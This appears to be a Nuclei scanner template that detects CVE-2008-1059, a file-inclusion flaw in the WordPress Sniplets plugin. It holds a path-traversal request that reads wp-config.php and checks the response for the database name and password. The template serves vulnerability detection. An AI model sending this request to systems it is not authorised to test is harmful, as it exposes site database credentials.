WordPress Sniplets 1.1.2 - Local File Inclusion

id: CVE-2008-1059

info:
  name: WordPress Sniplets 1.1.2 - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: |
    PHP remote file inclusion vulnerability in modules/syntax_highlight.php in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the libpath parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.
  remediation: |
    Update WordPress Sniplets to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/5194
    - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
    - https://nvd.nist.gov/vuln/detail/CVE-2008-1059
    - http://securityreason.com/securityalert/3706
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/40829
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2008-1059
    cwe-id: CWE-94
    epss-score: 0.48329
    epss-percentile: 0.98712
    cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wordpress
    product: sniplets_plugin
  tags: cve2008,cve,lfi,wordpress,wp-plugin,wp,sniplets,edb,wpscan,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
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